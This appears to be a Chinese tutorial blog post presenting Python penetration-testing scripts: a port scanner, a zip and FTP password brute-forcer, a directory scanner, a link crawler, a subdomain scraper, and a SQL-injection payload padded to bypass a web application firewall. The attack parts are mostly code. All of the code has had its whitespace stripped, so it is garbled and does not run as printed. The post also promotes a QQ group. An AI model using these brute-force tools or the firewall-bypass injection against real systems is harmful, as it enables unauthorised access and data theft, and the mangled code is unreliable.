Python非常适合用来做渗透！这些工具集送给你！
一、信息搜集–py端口扫描小脚本
端口扫描是渗透测试中常用的技术手段，发现敏感端口，尝试弱口令或者默认口令爆破也是常用的手段，之前自学python时候百度着写了个小脚本。
端口扫描小脚本：
#coding:utf-8importsocketimporttimedefscan(ip,port):try:socket.setdefaulttimeout(3)s=socket.socket()s.connect((ip,port))returnTrueexcept:returndefscanport():print’作者：xiaoye’.decode(‘utf-8’).encode(‘gbk’)print’————–‘print’blog:[url]http://blog.163.com/sy_butian/blog’[/url]print’————–‘ym=raw_input(‘请输入域名（只对未使用cdn的网站有效）：’.decode(‘utf-8’).encode(‘gbk’))ips=socket.gethostbyname(ym)print’ip:%s’%ipsportlist=[80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]starttime=time.time()forportinportlist:res=scan(ips,port)ifres:print’thisport:%sison’%portendtime=time.time()print’本次扫描用了：%s秒’.decode(‘utf-8’).encode(‘gbk’)%(endtime-starttime)if__name__==‘__main__’:scanport()
对于端口扫描技术，其实分很多种，通常是利用tcp协议的三次握手过程（从网上偷张图。。）
进群：960410445即可获取书十套PDF！
放出的那个脚本，是利用了tcpconnect()即完成了tcp三次握手全连接，根据握手情况判断端口是否开放，这种方式比较准确，但是会在服务器留下大量连接痕迹。
当然，如果不想留下大量痕迹，我们可以在第三次握手过程，将ack确认号变成rst（释放连接），连接没有建立，自然不会有痕迹，但是这种方法需要root权限
好了，先讲解一下我们的py端口扫描小脚本：
核心代码：
portlist=[80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]forportinportlist:res=scan(ips,port)ifres:print’thisport:%sison’%port
这段代码是定义了要扫描的端口，并且用for..in..来进行遍历
socket.setdefaulttimeout(3)s=socket.socket()s.connect((ip,port))
这段代码，是利用了socket套接字，建立tcp连接，socket.socket()就是s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)，用于tcp连接建立
二、实用爆破小脚本–压缩文件密码爆破&&ftp爆破
对于压缩文件，py有自己的处理模块zipfile，关于zipfile的实例用法，在violentpython里有实例脚本，模仿书里写了个小脚本
#coding:utf-8”‘z=zipfile.ZipFile(“),extractallz.extractall(pwd)”‘importzipfileimportthreadingdefzipbp(zfile,pwd):try:zfile.extractall(pwd=pwd)print’passwordfound:%s’%pwdexcept:returndefmain():zfile=zipfile.ZipFile(‘xx.zip’)pwdall=open(‘dict.txt’)forpwdainpwdall.readlines():pwd=pwda.strip(‘\n’)t=threading.Thread(target=zipbp,args=(zfile,pwd))t.start()#t.join()ifname==’main’:main()
其实脚本很简单，核心就一个地方：
zfile=zipfile.ZipFile(‘xx.zip’)…………..zfile.extractall(pwd=pwd)
ZipFile是zipfile模块重要的一个类，zfile就是类的实例，而extractall(pwd)就是类里的方法，用于处理带有密码的压缩文件；当pwd正确时，压缩文件就打开成功。而此脚本就是利用了zipfile模块的类和方法，加载字典不断尝试pwd，直至返回正确的密码，爆破成功
python在爆破方面也很有优势，比如ftp，py也有ftplib模块来处理，一次ftp连接过程如下：
ftp=ftplib.FTP()ftp.connect(host,21,9)ftp.login(user,pwd)ftp.retrlines(‘LIST’)ftp.quit()
connect(ip,port,timeout)用于建立ftp连接；login(user,pwd)用于登陆ftp；retrlines()用于控制在服务器执行命令的结果的传输模式；quit()方法用于关闭ftp连接
是不是觉得和zipfile的套路很像？没错，你会写一个，就会写另外一个，就会写许许多多的爆破脚本，脚本我就不放出来了，大家自己动手去写一写（p.s:关于ftp爆破，在加载字典之前，请先尝试空密码，即ftp.login()，万一成功了呢。。）
三、目录探测–py低配版御剑
昨天写了个小脚本，用来探测目录，实现和御剑一样的效果，脚本是写好了，开了多线程，但是还算很慢。。之后我会再次修改：
#coding:utf-8importsysimportrequestsimportthreadingdefsavetxt(url):withopen(‘domain.txt’,‘a’)asf:url=url+‘\n’f.write(url)defgeturl(url):r=requests.get(url,timeout=1)status_code=r.status_codeifstatus_code==200:printurl+‘200ok’savetxt(url)#printurl#printstatus_codesyslen=len(sys.argv)#printsyslen#res=[]url=raw_input(‘请输入要扫描目录的网站\n’.decode(‘utf-8’).encode(‘gbk’))foriinrange(1,syslen):withopen(sys.argv[i],‘r’)asf:forfiinf.readlines():fi=fi.strip(‘\n’)#printfifi=url+‘/’+fi#printfit=threading.Thread(target=geturl,args=(fi,))t.start()t.join()#res=“.join(res)#printres
能run起来，速度较慢。。
说一下主要思想吧，之后我改完再细讲。。：
加载1个或者多个字典，将字典中的内容与输入的url进行拼接得到完整url；
关于加载多个字典，代码实现如下：
syslen=len(sys.argv)#printsyslen#res=[]url=raw_input(‘请输入要扫描目录的网站\n’.decode(‘utf-8’).encode(‘gbk’))foriinrange(1,syslen):withopen(sys.argv[i],‘r’)asf:forfiinf.readlines():fi=fi.strip(‘\n’)#printfifi=url+‘/’+fi
利用sys.argv，我们输入pythonyujian.pydir.txt就加载dir.txt，输入dir.txtphp.txt，因为有foriinrange(1,syslen):，syslen=3，range(1,3)返回[1,2]；
withopen(sys.argv,‘r’)asf:它就会自动加载输入的两个txt文件（sys.argv[1]、sys.argv[2]）；也就是说，我们输入几个文件，它就加载几个文件作为字典
当我们遇到php站点时，完全可以把御剑的字典拿过来，只加载php.txtdir.txt，这点和御剑是一样的：
通过python的requests.get(url)的状态返回码status_code来对是否存在该url进行判断；
如果返回200就将该url打印出来，并且存进txt文本里
目前是这么个想法。。
———————————————————————–
更新：多线程加队列目录探测脚本:https://github.com/xiaoyecent/scan_dir
有关于更多小脚本，可以访问https://github.com/xiaoyecent目前添加了百度url采集、代理ip采集验证、爬虫、简单探测网段存活主机等小脚本，新手单纯交流学习，大牛勿喷
四、爬虫爬取整站连接
这个爬虫是慕课网上的蚂蚁老师讲的，感觉做的非常好，就改了一下，本来是用来爬取百度百科python1000条词条的（现在还是能爬的，要是之后目标更新了，就得制订新的爬虫策略了，大的框架不需要变），改成了爬取网站整站连接，扩展性还是很好的。
爬虫的基本构成，抓一张蚂蚁老师的图：
1.调度器：调度器用来对各个部分进行调度，如将url取出，送给下载器下载，将下载是页面送给解析器解析，解析出新的url及想要的数据等
2.url管理器：url管理器要维护两个set()（为啥用set()，因为set()自带去重功能），一个标识已抓取的url，一个标识待抓取的url，同时，url管理器还要有将解析器解析出来的新url放到待抓取的url里的方法等
3.下载器：实现最简单，抓取静态页面只需要r=requests.get，然后r.content，页面内容就存进内存了，当然，你存进数据库里也是可以的；但是同时也是扩展时的重点，比如某些页面需要登陆才能访问，这时候就得post传输账号密码或者加上已经登陆产生的cookie
4.解析器：BeautifulSoup或者正则或者采用binghe牛的pyquery来解析下载器下载来的页面数据
5.输出器：主要功能输出想得到的数据
调度器：
spider_main.py
#!/usr/bin/envpython2#--coding:UTF-8--fromspiderimporturl_manager,html_downloader,html_outputer,html_parserclassSpiderMain(object):definit(self):self.urls=url_manager.UrlManager()self.downloader=html_downloader.HtmlDownloader()self.parser=html_parser.HtmlParser()self.outputer=html_outputer.HtmlOutputer()defcraw(self,root_url):self.urls.add_new_url(root_url)whileself.urls.has_new_url():try:new_url=self.urls.get_new_url()print’craw:%s’%new_urlhtml_cont=self.downloader.download(new_url)new_urls,new_data=self.parser.parse(new_url,html_cont)self.urls.add_new_urls(new_urls)self.outputer.collect_data(new_data)except:print’crawfailed’self.outputer.output_html()ifname==”main”:root_url=“自己想爬的网站，我爬了下爱编程，效果还行”obj_spider=SpiderMain()obj_spider.craw(root_url)
其中init是初始化，url_manager,html_downloader,html_outputer,html_parser是自己写的模块，各个模块里有各自的类和方法，通过初始化得到相应类的实例；
craw是调度器对各个模块的调度：
new_url=self.urls.get_new_url()print’craw:%s’%new_urlhtml_cont=self.downloader.download(new_url)new_urls,new_data=self.parser.parse(new_url,html_cont)self.urls.add_new_urls(new_urls)self.outputer.collect_data(new_data)
分别对应着：
1.从待爬取url列表中取出一个url
2.将改url送往下载器下载，返回页面内容
3.将页面送往解析器解析，解析出新的url列表和想要的数据
4.调度url管理器，将新的url添加进带爬取的url列表
5.调度输出器输出数据
url管理器：
url_manager.py：
#!/usr/bin/envpython2#--coding:UTF-8--classUrlManager(object):definit(self):self.new_urls=set()self.old_urls=set()defadd_new_url(self,url):ifurlisNone:returnifurlnotinself.new_urlsandurlnotinself.old_urls:self.new_urls.add(url)defadd_new_urls(self,urls):ifurlsisNoneorlen(urls)==0:returnforurlinurls:self.add_new_url(url)defhas_new_url(self):returnlen(self.new_urls)!=0defget_new_url(self):new_url=self.new_urls.pop()self.old_urls.add(new_url)returnnew_url
url_manager模块里的类，及类的方法
下载器:
html_downloader.py
本来蚂蚁老师用的urllib，我给改了，改成requests：
#!/usr/bin/envpython2#--coding:UTF-8--importurllib2importrequestsclassHtmlDownloader(object):defdownload(self,url):ifurlisNone:returnNoner=requests.get(url,timeout=3)ifr.status_code!=200:returnNonereturnr.content
html解析器：
html_parser.py
把抓取策略给改了，现在是解析所有链接，即a标签href的值
#!/usr/bin/envpython2#--coding:UTF-8--importreimporturlparsefrombs4importBeautifulSoupclassHtmlParser(object):defparse(self,page_url,html_cont):ifpage_urlisNoneorhtml_contisNone:returnsoup=BeautifulSoup(html_cont,‘html.parser’,from_encoding=‘utf-8’)new_urls=self._get_new_urls(page_url,soup)new_data=self._get_new_data(page_url,soup)returnnew_urls,new_datadef_get_new_urls(self,page_url,soup):new_urls=set()links=soup.find_all(‘a’)forlinkinlinks:new_url=link[‘href’]new_full_url=urlparse.urljoin(page_url,new_url)new_urls.add(new_full_url)returnnew_urlsdef_get_new_data(self,page_url,soup):res_data={}#urlreturnres_data
html_outputer.py
这个看情况，可要可不要，反正已经能打印出来了：
#!/usr/bin/envpython2#--coding:UTF-8--classHtmlOutputer(object):definit(self):self.datas=[]defcollect_data(self,data):ifdataisNone:returnself.datas.append(data)defoutput_html(self):fout=open(‘output.html’,‘w’)fout.write(”<html>”)fout.write(”<body>”)fout.write(”<table>”)fordatainself.datas:fout.write(”<tr>”)fout.write(”<td>%s</td>”%data[‘url’])#fout.write(”<td>%s</td>”%data[‘title’].encode(‘utf-8’))#fout.write(”<td>%s</td>”%data[‘summary’].encode(‘utf-8’))fout.write(”</tr>”)fout.write(”</table>”)fout.write(”</body>”)fout.write(”</html>”)fout.close()
运行效果：
这款爬虫可扩展性挺好，之后大家可以扩展爬取自己想要的内容
当然要是只需要爬取某个页面的某些内容，完全不必要这么麻烦，一个小脚本就好了：
比如我要爬取某二级域名接口中的二级域名结果：
#coding:utf-8importurllib,redefgetall(url):page=urllib.urlopen(url).read()returnpagedefressubd(all):a=re.compile(r’value=“(.?.com|.?.cn|.?.com.cn|.?.org|)”><input’)subdomains=re.findall(a,all)return(subdomains)ifname==’main’:print’作者：深夜’.decode(‘utf-8’).encode(‘gbk’)print’————–‘print’blog:[url]http://blog.163.com/sy_butian/blog’[/url]print’————–‘url=‘http://i.links.cn/subdomain/’+raw_input(‘请输入主域名：’.decode(‘utf-8’).encode(‘gbk’))+‘.html’all=getall(url)subd=ressubd(all)sub=“.join(subd)s=sub.replace(‘http://’,‘n’)printswithopen(‘url.txt’,‘w’)asf:f.writelines(s)
小脚本用正则就好了，写的快
五、python在exp中的应用
之前海盗表哥写过过狗的一个phpfuzz脚本
http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16134
表哥写的php版本的:
我在本地搭了个环境，然后用python也写了下，还是挺好写的：
#coding:utf-8importrequests,os#i=9990;url=’http://localhost:8090/sqlin.php’defdopost(url,data=”):r=requests.post(url,data)returnr.contentforiinrange(9990,10000):payload={‘id’:‘1and1=’+i*‘3’+‘and(extractvalue(1,concat(0x7e,(selectuser()),0x7e)))’}#printpayloadret=dopost(url,payload)ret=“.join(ret)ifret.find(‘网站防火墙’)==-1:print”donen”+“n”+retexit(0)
